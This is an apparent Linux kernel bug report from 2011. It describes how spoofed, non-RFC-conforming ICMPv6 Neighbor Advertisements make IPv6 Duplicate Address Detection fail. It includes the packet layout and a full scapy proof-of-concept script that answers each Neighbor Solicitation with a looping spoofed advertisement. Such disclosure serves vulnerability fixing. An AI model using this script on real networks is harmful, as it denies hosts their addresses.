PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6packets

From: Gervais Arthur
Date: Thu May 05 2011 - 06:11:33 EST


[1.] One line summary of the problem:

A specially crafted Ethernet ICMPv6 packet which is not conform to the
RFC can perform a IPv6 Duplicate Address Detection Failure.

[2.] Full description of the problem/report:

If a new IPv6 node joins the local area network, the new node sends an
ICMPv6 Neighbor Solicitation packet in order to check if the
self-generated local-link IPv6 address already occupied is.

An attacker can answer to this Neighbor Solicitation packet with an
ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not
able to associate the just generated IPv6 address.
-- This problem is well known and IPv6 related.

The new problem is that the attacker can modify the Ethernet Neighbor
Advertisement packets, so that they are not RFC conform and so that it
is even more difficult to detect the attacker.

If an attacker sends the following packet, duplicate address detection
fails on Linux:

Ethernet Layer: Victim MAC --> Victim MAC
IPv6 Layer: fe80::200:edff:feXX:XXXX --> ff02::1
ICMPv6
Type 136 (Neighbor Advertisement)
Target: fe80::200:edff:feXX:XXXX
ICMPv6 Option
Type 2 (Target link-layer address) Victim MAC

Please find attached a drawing and a proof of concept.

[3.] Keywords (i.e., modules, networking, kernel):

Network, IPv6, Duplicate Address Detection

[4.] Kernel version (from /proc/version):

Latest tested:
Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5
(Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC
2010
(and before most probably)

[6.] A small shell script or example program which triggers the
problem (if possible)

Please find attached a python script demonstrating the problem.

[X.] Other notes, patches, fixes, workarounds:

The Linux Kernel should not accept incoming Ethernet packets originating
from an internal Ethernet card (identified by the MAC address)

Attachment: DAD_DoS_Linux_tech.png
Description: PNG image

#! /usr/bin/env python

import sys
from multiprocessing import Process
from scapy.all import *

def f(pkt):
sendp(pkt, loop=1, inter=1)

def callback(pkt):

if IPv6 in pkt and ICMPv6ND_NS in pkt:

src_mac=pkt.sprintf("%Ether.src%") # Source Adresse
src=pkt.sprintf("%IPv6.src%") # Source Adresse
dst=pkt.sprintf("%IPv6.dst%") # Destination Adresse
tgt=pkt.sprintf("%ICMPv6ND_NS.tgt%") # Target adresse

if src=="::" and "ff02::1:ff" in dst:

eth = Ether(src="00:20:ed:74:89:82",dst=src_mac)
ip = IPv6(src=tgt,dst="ff02::1")
icmp = ICMPv6ND_NA(tgt=tgt)
icmpOpt = ICMPv6NDOptDstLLAddr(lladdr="00:20:ed:74:89:82")

packet = eth/ip/icmp/icmpOpt

p = Process(target=f, args=(packet,))
p.start()

def main():
conf.iface6="eth1"
try:
scapy.sendrecv.sniff(prn=callback,store=0)
except KeyboardInterrupt:
exit(0)

if __name__ == "__main__":
main()